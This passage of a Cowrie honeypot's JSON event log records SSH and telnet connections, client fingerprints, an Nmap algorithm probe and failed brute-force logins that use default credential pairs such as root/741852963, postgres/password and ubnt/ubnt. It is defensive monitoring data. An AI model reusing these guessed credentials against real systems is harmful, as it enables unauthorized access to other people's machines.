{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33678,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a60504d8279","protocol":"telnet","message":"New connection: 152.42.224.71:33678 (10.17.0.5:23) [session: 6a60504d8279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:31.633930Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:31.665005Z","src_ip":"45.156.87.204","session":"163b4c4c21f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:32.033830Z","src_ip":"45.156.87.204","session":"163b4c4c21f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:33.118486Z","src_ip":"45.156.87.204","session":"163b4c4c21f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45938,"dst_ip":"159.203.135.109","dst_port":22,"session":"656fad32efa5","protocol":"ssh","message":"New connection: 45.156.87.204:45938 (159.203.135.109:22) [session: 656fad32efa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:35.181556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:35.217217Z","src_ip":"45.156.87.204","session":"656fad32efa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:35.299832Z","src_ip":"45.156.87.204","session":"656fad32efa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:35.585622Z","src_ip":"45.156.87.204","session":"656fad32efa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33684,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f84c75ab18c","protocol":"telnet","message":"New connection: 152.42.224.71:33684 (10.17.0.5:23) [session: 1f84c75ab18c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:35.790376Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:36.669935Z","src_ip":"45.156.87.204","session":"656fad32efa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45940,"dst_ip":"159.203.135.109","dst_port":22,"session":"e00cb2d5afc7","protocol":"ssh","message":"New connection: 45.156.87.204:45940 (159.203.135.109:22) [session: e00cb2d5afc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:38.629796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:38.645029Z","src_ip":"45.156.87.204","session":"e00cb2d5afc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:38.736620Z","src_ip":"45.156.87.204","session":"e00cb2d5afc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:38.981831Z","src_ip":"45.156.87.204","session":"e00cb2d5afc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:40.200220Z","src_ip":"45.156.87.204","session":"e00cb2d5afc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.43564963340759,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:40.379016Z","src_ip":"152.42.224.71","session":"27ed67e0846f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.190.209.69","src_port":17140,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b6354d3fd67","protocol":"ssh","message":"New connection: 35.190.209.69:17140 (159.203.135.109:22) [session: 1b6354d3fd67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:41.670309Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:41.764699Z","src_ip":"35.190.209.69","session":"1b6354d3fd67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45944,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5e6bbc80c7e","protocol":"ssh","message":"New connection: 45.156.87.204:45944 (159.203.135.109:22) [session: b5e6bbc80c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:41.999315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:42.004026Z","src_ip":"45.156.87.204","session":"b5e6bbc80c7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.297457218170166,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:42.059955Z","src_ip":"152.42.224.71","session":"6588de25e7ee","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:42.087282Z","src_ip":"45.156.87.204","session":"b5e6bbc80c7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zarghami","password":"123456","message":"login attempt [zarghami/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:42.332210Z","src_ip":"45.156.87.204","session":"b5e6bbc80c7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44202,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ba289009535","protocol":"telnet","message":"New connection: 152.42.224.71:44202 (10.17.0.5:23) [session: 2ba289009535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:43.066763Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:43.421990Z","src_ip":"45.156.87.204","session":"b5e6bbc80c7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.14774560928345,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:44.131929Z","src_ip":"152.42.224.71","session":"661329fbf937","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35300,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d9ccb423f8a","protocol":"ssh","message":"New connection: 45.156.87.204:35300 (159.203.135.109:22) [session: 8d9ccb423f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:45.646399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:45.651424Z","src_ip":"45.156.87.204","session":"8d9ccb423f8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:45.734104Z","src_ip":"45.156.87.204","session":"8d9ccb423f8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:45.981757Z","src_ip":"45.156.87.204","session":"8d9ccb423f8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:47.067408Z","src_ip":"45.156.87.204","session":"8d9ccb423f8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43378,"dst_ip":"10.17.0.5","dst_port":23,"session":"66d820aac79e","protocol":"telnet","message":"New connection: 152.42.224.71:43378 (10.17.0.5:23) [session: 66d820aac79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:48.675037Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35324,"dst_ip":"159.203.135.109","dst_port":22,"session":"19c7d3bee9cf","protocol":"ssh","message":"New connection: 45.156.87.204:35324 (159.203.135.109:22) [session: 19c7d3bee9cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:49.019706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:49.024326Z","src_ip":"45.156.87.204","session":"19c7d3bee9cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:49.106295Z","src_ip":"45.156.87.204","session":"19c7d3bee9cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"sinusbot","message":"login attempt [sinusbot/sinusbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:49.352777Z","src_ip":"45.156.87.204","session":"19c7d3bee9cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:50.438463Z","src_ip":"45.156.87.204","session":"19c7d3bee9cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35346,"dst_ip":"159.203.135.109","dst_port":22,"session":"5effe2813861","protocol":"ssh","message":"New connection: 45.156.87.204:35346 (159.203.135.109:22) [session: 5effe2813861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:52.269423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:52.273740Z","src_ip":"45.156.87.204","session":"5effe2813861","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:52.563051Z","src_ip":"45.156.87.204","session":"5effe2813861","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:53.007688Z","src_ip":"45.156.87.204","session":"5effe2813861","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:54.098569Z","src_ip":"45.156.87.204","session":"5effe2813861","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.190.209.69","src_port":46438,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3e7c96979b2","protocol":"ssh","message":"New connection: 35.190.209.69:46438 (159.203.135.109:22) [session: c3e7c96979b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:54.351875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:54.384458Z","src_ip":"35.190.209.69","session":"c3e7c96979b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:54.488464Z","src_ip":"35.190.209.69","session":"c3e7c96979b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:54.494250Z","src_ip":"35.190.209.69","session":"c3e7c96979b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39182,"dst_ip":"159.203.135.109","dst_port":22,"session":"57bf13c1cb1f","protocol":"ssh","message":"New connection: 45.156.87.204:39182 (159.203.135.109:22) [session: 57bf13c1cb1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:42:55.975659Z"}
